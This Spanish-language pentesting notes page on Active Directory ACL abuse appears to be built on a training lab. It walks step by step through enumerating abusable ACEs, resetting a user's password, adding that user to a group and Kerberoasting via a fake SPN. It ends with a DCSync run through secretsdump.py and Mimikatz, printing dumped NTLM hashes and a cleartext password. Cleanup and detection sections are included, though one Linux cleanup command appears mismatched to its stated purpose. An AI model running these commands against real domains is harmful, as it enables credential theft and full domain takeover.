Skip to content

Access Control Entries (ACEs) - Abuso y Enumeración ​

Links: ForceChangePassword - BloodHound | GenericWrite - BloodHound | GenericAll - BloodHound | Microsoft LAPS | PowerView | dacledit.py | BloodHound.py | Rubeus | Impacket secretsdump.py


Resumen de ACEs abusables y su herramienta de explotación ​

  • ForceChangePassword → abusado con Set-DomainUserPassword
  • Add Members → abusado con Add-DomainGroupMember
  • GenericAll → abusado con Set-DomainUserPassword o Add-DomainGroupMember
  • GenericWrite → abusado con Set-DomainObject
  • WriteOwner → abusado con Set-DomainObjectOwner
  • WriteDACL → abusado con Add-DomainObjectAcl
  • AllExtendedRights → abusado con Set-DomainUserPassword o Add-DomainGroupMember
  • AddSelf → abusado con Add-DomainGroupMember

Contexto técnico de cada derecho ​

ForceChangePassword — Permite resetear la contraseña de un usuario sin conocer la contraseña actual. Debe usarse con precaución en engagements reales; consultar con el cliente antes de resetear contraseñas de producción.

GenericWrite — Permite escribir en cualquier atributo no protegido de un objeto. Sobre un usuario, permite asignar un SPN y ejecutar Kerberoasting dirigido (basado en que la cuenta objetivo tenga contraseña débil). Sobre un grupo, permite agregarse a sí mismo u otro principal de seguridad. Sobre un objeto computer, permite configurar RBCD (Resource-Based Constrained Delegation).

AddSelf — Indica los grupos de seguridad a los que un usuario puede agregarse a sí mismo (equivalente al derecho Self-Membership).

GenericAll — Control total sobre el objeto. Sobre usuario/grupo permite modificar membresía, forzar cambio de contraseña, o Kerberoasting dirigido. Sobre un objeto computer con LAPS habilitado, permite leer la contraseña de administrador local — útil para movimiento lateral o escalada si se logra acceso privilegiado en algún punto de la cadena.


ACL Enumeration ​

Enumerar ACLs interesantes con PowerView ​

powershell
Import-Module .\PowerView.ps1
Find-InterestingDomainAcl

Output real de ejemplo ​

ObjectDN                : DC=DOMAIN,DC=LOCAL
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : ExtendedRight
ObjectAceType           : ab721a53-1e2f-11d0-9819-00aa0040529b
AceFlags                : ContainerInherit
AceType                 : AccessAllowedObject
InheritanceFlags        : ContainerInherit
SecurityIdentifier      : S-1-5-21-3842939050-3880317879-2865463114-5189
IdentityReferenceName   : Exchange Windows Permissions
IdentityReferenceDomain : DOMAIN.LOCAL
IdentityReferenceDN     : CN=Exchange Windows Permissions,OU=Microsoft Exchange Security
                          Groups,DC=DOMAIN,DC=LOCAL
IdentityReferenceClass  : group

ObjectDN                : DC=DOMAIN,DC=LOCAL
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : ExtendedRight
ObjectAceType           : 00299570-246d-11d0-a768-00aa006e0529
AceFlags                : ContainerInherit
AceType                 : AccessAllowedObject
InheritanceFlags        : ContainerInherit
SecurityIdentifier      : S-1-5-21-3842939050-3880317879-2865463114-5189
IdentityReferenceName   : Exchange Windows Permissions
IdentityReferenceDomain : DOMAIN.LOCAL
IdentityReferenceDN     : CN=Exchange Windows Permissions,OU=Microsoft Exchange Security
                          Groups,DC=DOMAIN,DC=LOCAL
IdentityReferenceClass  : group

<SNIP>
powershell
Import-Module .\PowerView.ps1
$sid = Convert-NameToSid wley

Usando Get-DomainObjectACL ​

Con esta función se busca todos los objetos de dominio sobre los que el usuario controlado tiene derechos, mapeando el SID del usuario ($sid) contra la propiedad SecurityIdentifier, que indica quién tiene el derecho sobre un objeto. Sin la bandera -ResolveGUIDs, el derecho ExtendedRight no da una imagen clara de qué ACE tiene wley sobre damundsen, porque ObjectAceType devuelve un GUID no legible.

powershell
Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}

Output real de ejemplo ​

ObjectDN               : CN=Dana Amundsen,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
ObjectSID              : S-1-5-21-3842939050-3880317879-2865463114-1176
ActiveDirectoryRights  : ExtendedRight
ObjectAceFlags         : ObjectAceTypePresent
ObjectAceType          : 00299570-246d-11d0-a768-00aa006e0529
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength           : 56
AceQualifier           : AccessAllowed
IsCallback             : False
OpaqueLength           : 0
AccessMask             : 256
SecurityIdentifier     : S-1-5-21-3842939050-3880317879-2865463114-1181
AceType                : AccessAllowedObject
AceFlags               : ContainerInherit
IsInherited            : False
InheritanceFlags       : ContainerInherit
PropagationFlags       : None
AuditFlags             : None

Búsqueda inversa: mapear un GUID a su nombre legible ​

powershell
$guid = "00299570-246d-11d0-a768-00aa006e0529"
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * | Select Name,DisplayName,DistinguishedName,rightsGuid | ?{$_.rightsGuid -eq $guid} | fl

Output real de ejemplo ​

Name              : User-Force-Change-Password
DisplayName       : Reset Password
DistinguishedName : CN=User-Force-Change-Password,CN=Extended-Rights,CN=Configuration,DC=DOMAIN,DC=LOCAL
rightsGuid        : 00299570-246d-11d0-a768-00aa006e0529

En caso de fallar por conflicto de nombres con PowerView, usar la ruta completa del módulo:

powershell
ActiveDirectory\Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * | Select Name,DisplayName,DistinguishedName,rightsGuid | ?{$_.rightsGuid -eq $guid} | fl

Usando el flag -ResolveGUIDs ​

powershell
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}

Output real de ejemplo ​

AceQualifier           : AccessAllowed
ObjectDN               : CN=Dana Amundsen,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : User-Force-Change-Password
ObjectSID              : S-1-5-21-3842939050-3880317879-2865463114-1176
InheritanceFlags       : ContainerInherit
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-3842939050-3880317879-2865463114-1181
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : ContainerInherit
InheritedObjectAceType : All
OpaqueLength           : 0

Ahora ObjectAceType muestra directamente User-Force-Change-Password en lugar del GUID crudo.


Enumeración con cmdlets nativos (Get-Acl / Get-ADUser) ​

Generar una lista de usuarios del dominio ​

powershell
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt

Loop foreach útil: buscar permisos de wley sobre todos los usuarios del dominio ​

powershell
foreach($line in [System.IO.File]::ReadLines("C:\Users\test\Desktop\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'DOMAIN\\wley'}}

Output real de ejemplo ​

Path                  : Microsoft.ActiveDirectory.Management.dll\ActiveDirectory:://RootDSE/CN=Dana
                        Amundsen,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
InheritanceType       : All
ObjectType            : 00299570-246d-11d0-a768-00aa006e0529
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : ObjectAceTypePresent
AccessControlType     : Allow
IdentityReference     : DOMAIN\wley
IsInherited           : False
InheritanceFlags      : ContainerInherit
PropagationFlags      : None

Enumeración recursiva de cadenas de ataque (grupo anidado) — Walkthrough completo ​

Cuando un derecho está asignado a un grupo (no directamente a un usuario), hay que investigar la cadena de membresía completa. Este es el flujo completo tal como se identificó en el ejemplo original: wley → damundsen (ForceChangePassword) → damundsen tiene GenericWrite sobre el grupo Help Desk Level 1 → ese grupo es miembro de Information Technology → ese grupo tiene GenericAll sobre adunn → adunn tiene derechos de replicación (DCSync) sobre el dominio.

Paso 1 - Verificar derechos adicionales de damundsen ​

powershell
$sid2 = Convert-NameToSid damundsen
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid2} -Verbose

Output real de ejemplo ​

AceType               : AccessAllowed
ObjectDN              : CN=Help Desk Level 1,OU=Security Groups,OU=Corp,DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
OpaqueLength          : 0
ObjectSID             : S-1-5-21-3842939050-3880317879-2865463114-4022
InheritanceFlags      : ContainerInherit
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1176
AccessMask            : 131132
AuditFlags            : None
AceFlags              : ContainerInherit
AceQualifier          : AccessAllowed

damundsen tiene GenericWrite sobre el grupo Help Desk Level 1.

Paso 2 - Investigar el grupo Help Desk Level 1 ​

powershell
Get-DomainGroup -Identity "Help Desk Level 1" | select memberof

Output real de ejemplo ​

memberof
--------
CN=Information Technology,OU=Security Groups,OU=Corp,DC=DOMAIN,DC=LOCAL

Help Desk Level 1 es a su vez miembro de Information Technology.

Paso 3 - Verificar los derechos del grupo Information Technology ​

powershell
$itgroupsid = Convert-NameToSid "Information Technology"
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $itgroupsid} -Verbose

Output real de ejemplo ​

AceType               : AccessAllowed
ObjectDN              : CN=Angela Dunn,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : GenericAll
OpaqueLength          : 0
ObjectSID             : S-1-5-21-3842939050-3880317879-2865463114-1164
InheritanceFlags      : ContainerInherit
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-4016
AccessMask            : 983551
AuditFlags            : None
AceFlags              : ContainerInherit
AceQualifier          : AccessAllowed

Information Technology tiene GenericAll sobre Angela Dunn (adunn) — cuenta de Server Admin.

Paso 4 - Buscar derechos críticos de adunn (DCSync) ​

powershell
$adunnsid = Convert-NameToSid adunn
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $adunnsid} -Verbose

Output real de ejemplo ​

AceQualifier           : AccessAllowed
ObjectDN               : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : DS-Replication-Get-Changes-In-Filtered-Set
ObjectSID              : S-1-5-21-3842939050-3880317879-2865463114
InheritanceFlags       : ContainerInherit
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-3842939050-3880317879-2865463114-1164
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : ContainerInherit
InheritedObjectAceType : All
OpaqueLength           : 0

AceQualifier           : AccessAllowed
ObjectDN               : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : DS-Replication-Get-Changes
ObjectSID              : S-1-5-21-3842939050-3880317879-2865463114
InheritanceFlags       : ContainerInherit
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-3842939050-3880317879-2865463114-1164
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : ContainerInherit
InheritedObjectAceType : All
OpaqueLength           : 0

<SNIP>

Cadena de ataque completa confirmada: wley (ForceChangePassword) → resetea password de damundsen → damundsen (GenericWrite) → se agrega a Help Desk Level 1 → hereda membresía de Information Technology → (GenericAll) sobre adunn → adunn tiene DS-Replication-Get-Changes + DS-Replication-Get-Changes-All → DCSync completo del dominio.


Queries filtradas por derecho específico ​

ForceChangePassword ​

powershell
$sid = Convert-NameToSid "wley"
Get-DomainObjectACL -ResolveGUIDs -Identity * | Where-Object { $_.SecurityIdentifier -eq $sid -and $_.ObjectAceType -eq "User-Force-Change-Password" }

GenericWrite ​

powershell
$sid = Convert-NameToSid "wley"
Get-DomainObjectACL -ResolveGUIDs -Identity * | Where-Object { $_.SecurityIdentifier -eq $sid -and $_.ActiveDirectoryRights -eq "GenericWrite" }

AddSelf (Self-Membership) ​

powershell
$sid = Convert-NameToSid "wley"
Get-DomainObjectACL -ResolveGUIDs -Identity * | Where-Object { $_.SecurityIdentifier -eq $sid -and $_.ObjectAceType -eq "Self-Membership" }

GenericAll ​

powershell
$sid = Convert-NameToSid "wley"
Get-DomainObjectACL -ResolveGUIDs -Identity * | Where-Object { $_.SecurityIdentifier -eq $sid -and $_.ActiveDirectoryRights -eq "GenericAll" }

Equivalente de enumeración desde Linux ​

PowerView es exclusivo de Windows. Desde Linux, la enumeración equivalente se hace con:

Con dacledit.py ​

bash
python3 examples/dacledit.py -principal wley -target damundsen -dc-ip 172.16.5.5 DOMAIN.local/wley:'<password>'

Con BloodHound.py (recolección completa para análisis en grafo) ​

bash
bloodhound-python -u wley -p '<password>' -d DOMAIN.local -ns 172.16.5.5 -c All

Cargar los .json generados en BloodHound GUI para navegar la misma cadena de ataque (wley → damundsen → Help Desk Level 1 → Information Technology → adunn → DCSync) de forma visual, con correlación automática de membresía de grupos (a diferencia de dacledit.py, que no correlaciona grupos).

Con ldapsearch (verificación puntual de un GUID/derecho) ​

bash
ldapsearch -x -H ldap://172.16.5.5 -D "wley@DOMAIN.local" -w '<password>' -b "CN=Extended-Rights,CN=Configuration,DC=DOMAIN,DC=local" "(rightsGuid=00299570-246d-11d0-a768-00aa006e0529)" displayName

ACL Abuse Tactics ​

ForceChangePassword ​

Crear un objeto PSCredential con las credenciales de wley ​

powershell
$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\wley', $SecPassword)

Crear el SecureString de la nueva contraseña para damundsen ​

powershell
$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force

Ejecutar el reset de contraseña ​

powershell
cd C:\Tools\
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose

Output real de ejemplo ​

VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'damundsen'
VERBOSE: [Set-DomainUserPassword] Password for user 'damundsen' successfully reset

Validar las nuevas credenciales ​

bash
netexec smb 10.129.2.161 -u damundsen -p 'Pwn3d_by_ACLs!'

Output real de ejemplo ​

SMB         10.129.2.161    445    ACADEMY-EA-MS01  [*] Windows 10 / Server 2019 Build 17763 x64 (name:ACADEMY-EA-MS01) (domain:DOMAIN.LOCAL) (signing:False) (SMBv1:None)
SMB         10.129.2.161    445    ACADEMY-EA-MS01  [+] DOMAIN.LOCAL\damundsen:Pwn3d_by_ACLs! (Pwn3d!)

Cambiar de usuario en la sesión Windows actual ​

cmd
runas /user:DOMAIN\damundsen powershell
Enter the password for DOMAIN\damundsen:
Attempting to start powershell as user "DOMAIN\damundsen" ...

GenericWrite (agregar a un grupo) ​

Crear el objeto SecureString usando damundsen ​

powershell
$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('DOMAIN\damundsen', $SecPassword)

Verificar miembros actuales del grupo Help Desk Level 1 ​

powershell
Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members

Output real de ejemplo ​

CN=Stella Blagg,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
.
.
.
LAX,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
CN=Dagmar Payne,OU=HelpDesk,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL

Agregar a damundsen al grupo Help Desk Level 1 ​

powershell
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose

Output real de ejemplo ​

VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Add-DomainGroupMember] Adding member 'damundsen' to group 'Help Desk Level 1'

Confirmar que damundsen fue agregado ​

powershell
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName

Output real de ejemplo ​

MemberName
----------
busucher
spergazed

<SNIP>

damundsen
dpayne

GenericAll (Targeted Kerberoasting sobre adunn) ​

Crear un SPN falso para adunn ​

Para Kerberoastear a un usuario, debe tener al menos un SPN asociado. Se crea un SPN falso para que el DC piense que es una cuenta de servicio kerberoasteable.

powershell
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose

Kerberoastear con Rubeus ​

powershell
.\Rubeus.exe kerberoast /user:adunn /nowrap

Output real de ejemplo ​

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target User            : adunn
[*] Target Domain          : DOMAIN.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.DOMAIN.LOCAL/DC=DOMAIN,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=adunn)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 1


[*] SamAccountName         : adunn
[*] DistinguishedName      : CN=Angela Dunn,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=DOMAIN,DC=LOCAL
[*] ServicePrincipalName   : notahacker/LEGIT
[*] PwdLastSet             : 3/1/2022 11:29:08 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*adunn$DOMAIN.LOCAL$notahacker/LEGIT@DOMAIN.LOCAL*$ <SNIP>

Equivalente desde Linux (targetedKerberoast.py) ​

bash
targetedKerberoast.py -d DOMAIN.local -u damundsen -p 'Pwn3d_by_ACLs!' --request-user adunn --dc-ip 172.16.5.5

Crackear el hash obtenido (Linux o Windows) ​

bash
hashcat -m 13100 adunn_hash.txt /usr/share/wordlists/rockyou.txt

Cleanup ​

  1. Eliminar el SPN falso creado para adunn.
  2. Eliminar a damundsen del grupo Help Desk Level 1.
  3. Restablecer la contraseña de damundsen a su valor original (si se conoce), o coordinar con el cliente para que el usuario legítimo la cambie.

Eliminar el SPN falso de adunn ​

powershell
Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose

Output real de ejemplo ​

VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'DOMAIN' from -Credential
VERBOSE: [Get-DomainSearcher] search base: LDAP://ACADEMY-EA-DC01.DOMAIN.LOCAL/DC=DOMAIN,DC=LOCAL
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(&(|(|(samAccountName=adunn)(name=adunn)(displayname=adunn))))
VERBOSE: [Set-DomainObject] Clearing 'serviceprincipalname' for object 'adunn'

Expulsar a damundsen del grupo Help Desk Level 1 ​

powershell
Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose

Output real de ejemplo ​

VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Remove-DomainGroupMember] Removing member 'damundsen' from group 'Help Desk Level 1'
True

Confirmar que damundsen fue excluido del grupo ​

powershell
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName |? {$_.MemberName -eq 'damundsen'} -Verbose

Equivalente de cleanup desde Linux ​

bash
# Eliminar SPN falso vía LDAP
python3 examples/dacledit.py -action write -rights ResetPassword -principal damundsen -target adunn -dc-ip 172.16.5.5 DOMAIN.local/damundsen:'Pwn3d_by_ACLs!'

# Remover de grupo con net rpc
net rpc group delmem "Help Desk Level 1" damundsen -U DOMAIN.local/damundsen%'Pwn3d_by_ACLs!' -S 172.16.5.5

Detección y Remediación ​

  1. Auditar y remover ACLs peligrosas — Auditorías periódicas de Active Directory; capacitar personal interno en el uso de BloodHound para identificar ACLs potencialmente peligrosas que se pueden eliminar.

  2. Monitorear membresía de grupos — Visibilidad sobre todos los grupos de alto impacto en el dominio; alertar al personal de TI sobre cambios que podrían indicar una cadena de ataque de ACL.

  3. Auditar y monitorear cambios de ACL — Habilitar la política de auditoría de seguridad avanzada para detectar cambios no deseados, especialmente el Event ID 5136: Se modificó un objeto de servicio de directorio, que indica que se modificó un objeto de dominio — potencialmente indicativo de un ataque de ACL.



DCSync ​

DCSync es una técnica para robar la base de datos de contraseñas de Active Directory mediante la función integrada Directory Replication Service Remote (DRS) Protocol que utilizan los controladores de dominio para replicar los datos del dominio entre sí. Esto permite a un atacante suplantar la identidad de un controlador de dominio para recuperar los hashes NTLM de las contraseñas de los usuarios.

Links: DCSync - The Hacker Recipes | Mimikatz

La clave del ataque reside en solicitar a un controlador de dominio que replique contraseñas mediante el derecho extendido DS-Replication-Get-Changes-All. Este es un derecho de control de acceso extendido dentro de Active Directory que permite la replicación de datos confidenciales.


Continuando el walkthrough: usando adunn para DCSync ​

Verificar membresía y UAC de adunn ​

powershell
Get-DomainUser -Identity adunn | select samaccountname,objectsid,memberof,useraccountcontrol | fl

Output real de ejemplo ​

samaccountname     : adunn
objectsid          : S-1-5-21-3842939050-3880317879-2865463114-1164
memberof           : {CN=VPN Users,OU=Security Groups,OU=Corp,DC=DOMAIN,DC=LOCAL, CN=Shared Calendar
                     Read,OU=Security Groups,OU=Corp,DC=DOMAIN,DC=LOCAL, CN=Printer Access,OU=Security
                     Groups,OU=Corp,DC=DOMAIN,DC=LOCAL, CN=File Share H Drive,OU=Security
                     Groups,OU=Corp,DC=DOMAIN,DC=LOCAL...}
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD

Verificar los derechos de replicación de adunn con Get-ObjectAcl ​

powershell
$sid = "S-1-5-21-3842939050-3880317879-2865463114-1164"
Get-ObjectAcl "DC=DOMAIN,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

Output real de ejemplo ​

AceQualifier          : AccessAllowed
ObjectDN              : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-498
ObjectAceType         : DS-Replication-Get-Changes

AceQualifier          : AccessAllowed
ObjectDN              : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-516
ObjectAceType         : DS-Replication-Get-Changes-All

AceQualifier          : AccessAllowed
ObjectDN              : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes-In-Filtered-Set

AceQualifier          : AccessAllowed
ObjectDN              : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes

AceQualifier          : AccessAllowed
ObjectDN              : DC=DOMAIN,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes-All

adunn (SID terminado en -1164) tiene ambos derechos necesarios: DS-Replication-Get-Changes y DS-Replication-Get-Changes-All — DCSync completo confirmado.


Extraer hashes NTLM y claves Kerberos con secretsdump.py ​

bash
secretsdump.py -outputfile DOMAIN_hashes -just-dc DOMAIN/adunn@172.16.5.5

Output real de ejemplo ​

Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

Password:
[*] Target system bootKey: 0x0e79d2e5d9bad2639da4ef244b30fda5
[*] Searching for NTDS.dit
[*] Registry says NTDS.dit is at C:\Windows\NTDS\ntds.dit. Calling vssadmin to get a copy. This might take some time
[*] Using smbexec method for remote execution
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: a9707d46478ab8b3ea22d8526ba15aa6
[*] Reading and decrypting hashes from \\172.16.5.5\ADMIN$\Temp\HOLJALFD.tmp
DOMAIN.local\administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::
guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
lab_adm:1001:aad3b435b51404eeaad3b435b51404ee:663715a1a8b957e8e9943cc98ea451b6:::
ACADEMY-EA-DC01$:1002:aad3b435b51404eeaad3b435b51404ee:13673b5b66f699e81b2ebcb63ebdccfb:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:16e26ba33e455a8c338142af8d89ffbc:::
ACADEMY-EA-MS01$:1107:aad3b435b51404eeaad3b435b51404ee:06c77ee55364bd52559c0db9b1176f7a:::
ACADEMY-EA-WEB01$:1108:aad3b435b51404eeaad3b435b51404ee:1c7e2801ca48d0a5e3d5baf9e68367ac:::
DOMAIN.local\test:1111:aad3b435b51404eeaad3b435b51404ee:2487a01dd672b583415cb52217824bb5:::
DOMAIN.local\avazquez:1112:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::

<SNIP>

d0wngrade:des-cbc-md5:d6fee0b62aa410fe
d0wngrade:dec-cbc-crc:d6fee0b62aa410fe
ACADEMY-EA-FILE$:des-cbc-md5:eaef54a2c101406d
svc_qualys:des-cbc-md5:f125ab34b53eb61c
forend:des-cbc-md5:e3c14adf9d8a04c1
[*] ClearText password from \\172.16.5.5\ADMIN$\Temp\HOLJALFD.tmp
proxyagent:CLEARTEXT:Pr0xy_ILFREIGHT!
[*] Cleaning up...

Variantes útiles de secretsdump.py ​

bash
# Solo un usuario específico (más rápido, menos ruidoso)
secretsdump.py -just-dc-user krbtgt DOMAIN/adunn:'<password>'@172.16.5.5

# Solo hashes NTLM sin el NTDS completo
secretsdump.py -just-dc-ntlm DOMAIN/adunn:'<password>'@172.16.5.5

# Con hash NTLM de adunn en vez de contraseña
secretsdump.py -hashes :<NTHASH_adunn> -just-dc DOMAIN/adunn@172.16.5.5

Listar los archivos generados ​

bash
ls DOMAIN_hashes*
DOMAIN_hashes.ntds  DOMAIN_hashes.ntds.cleartext  DOMAIN_hashes.ntds.kerberos

Buscar cuentas con Reversible Encryption (contraseñas en texto claro) ​

Con Get-ADUser (Windows) ​

powershell
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl

Output real de ejemplo ​

DistinguishedName  : CN=PROXYAGENT,OU=Service Accounts,OU=Corp,DC=DOMAIN,DC=LOCAL
Enabled            : True
GivenName          :
Name               : PROXYAGENT
ObjectClass        : user
ObjectGUID         : c72d37d9-e9ff-4e54-9afa-77775eaaf334
SamAccountName     : proxyagent
SID                : S-1-5-21-3842939050-3880317879-2865463114-5222
Surname            :
userAccountControl : 640
UserPrincipalName  :

Con Get-DomainUser (PowerView) ​

powershell
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} | select samaccountname,useraccountcontrol

Output real de ejemplo ​

samaccountname                         useraccountcontrol
--------------                         ------------------
proxyagent     ENCRYPTED_TEXT_PWD_ALLOWED, NORMAL_ACCOUNT

Equivalente desde Linux (LDAP) ​

bash
ldapsearch -x -H ldap://172.16.5.5 -D "adunn@DOMAIN.local" -w '<password>' -b "DC=DOMAIN,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=128)" sAMAccountName

O con netexec:

bash
netexec ldap 172.16.5.5 -u adunn -p '<password>' --query "(userAccountControl:1.2.840.113556.1.4.803:=128)" sAMAccountName

Mostrar la contraseña en claro extraída ​

bash
cat DOMAIN_hashes.ntds.cleartext

Output real de ejemplo ​

proxyagent:CLEARTEXT:Pr0xy_ILFREIGHT!

Ejecutar DCSync desde Windows con Mimikatz ​

cmd
mimikatz.exe
privilege::debug
lsadump::dcsync /domain:DOMAIN.LOCAL /user:DOMAIN\administrator

Output real de ejemplo ​

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::dcsync /domain:DOMAIN.LOCAL /user:DOMAIN\administrator
[DC] 'DOMAIN.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.DOMAIN.LOCAL' will be the DC server
[DC] 'DOMAIN\administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : administrator
User Principal Name  : administrator@DOMAIN.local
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
